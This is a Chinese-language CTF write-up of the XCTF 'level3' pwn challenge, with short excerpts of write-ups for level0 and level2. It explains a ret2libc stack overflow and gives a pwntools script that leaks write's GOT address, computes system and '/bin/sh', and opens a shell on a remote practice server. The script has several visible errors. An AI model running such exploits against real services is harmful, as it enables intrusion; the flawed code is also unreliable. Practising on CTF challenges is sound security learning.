pwn 練習6 攻防世界 level3

2022-05-04 12:36:07 字數 1474 閱讀 9602

這個題做的蠻久的,老樣子,基本操作來一遍

通過ida分析後,沒有system函式,也沒有/bin/sh這樣的字眼,但題目給了乙個動態庫,於是我們可以通過另乙個庫,來調出system(/bin/sh),

兩個呼叫的動態函式庫相同,所以write函式和system函式之間的位址差值是相同的,所以我們的目的是求出差值。我們最後要求出system的真實位址。

所以構造的第乙個payload就是為了得出write函式的真實的位址,通過write的真實位址,就可以得到動態函式中write和symtem的真實位址。

esp:暫存器存放當前執行緒的棧頂指標

ebp:暫存器存放當前執行緒的棧底指標

eip:暫存器存放下乙個cpu指令存放的記憶體位址,當cpu執行完當前的指令後,從eip暫存器中讀取下一條指令的記憶體位址,然後繼續執行。

from pwn import *

kubopiy=remote("220.249.52.133",42657)#進行連線

elf = elf("./level3")

libc=elf('./libc_32.so.6')

#獲取lib庫物件

write_plt=elf.plt['write']

write_got=elf.got['write']

main_addr = elf.symbols('main')

payload='a'*(0x88+0x04)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4)

#填入垃圾字元,用plt呼叫write函式,使之該函式結束的時候返回到main函式進行第二次攻擊,後面三個是write函式的三個引數,就能得到write函式的真實位址

kubopiy.recvuntil("input:\n")#第一次攻擊

kubopiy.sendline(payload)

write_got_addr=u32(p.recv())#u32解包,得到write的真實位址

sys_base=write_got_addr-libc.symbols['write']

system_addr=sys_base+libc.symbols['system']

bin_addr=sys_base+libc.symbols['/bin/sh']

kubopiy.recvuntil("input:\n")#第二次攻擊

payload='a'*(0x88+0x04)+p32(system_addr)+'a'*(4)+p32(bin_addr)

kubopiy.sendline(payload)

kubopiy.interactive()

攻防世界pwn新手練習(level0)

老規矩哦,我們先checksec一下,收集一下資訊 唔,沒啥東西,繼續ida吧。emmm,主函式倒是挺簡單的,就一行列印,一行輸入 但 不知你們有公尺有發現有個很奇怪的函式名,我們悄悄的瞅一瞅 果然不對勁,首先它的名字中有個system 手動加粗 這個是什麼東西嘞,簡單的來說,它擁有系統的最高許可權...

攻防世界pwn新手練習(level2)

可以看到題上已經有提示了 rop 我們看一下程式的保護狀態和它的運 況 開了nx,問題不大。執行可以發現有乙個輸入點 放ida裡看看 在字串視窗可以發現有 bin sh 並且左邊的函式視窗可以看到在.plt段有system函式 這就很舒服了呀,再結合一下題目給的提示,構造rop鏈就行,效果如下 具體...

pwn 練習3 攻防世界 level2

nc連線,file一下32位的 拖進ida 看到熟悉的read想到棧溢位,接著搜尋字串找有用的資訊 看到了如圖花圈的關鍵字 於是我們想到利用棧溢位覆蓋之前的位址,使之能跳轉到system bin sh 通過控制vulnerable function 返回到該偽棧幀執行system bin sh 來g...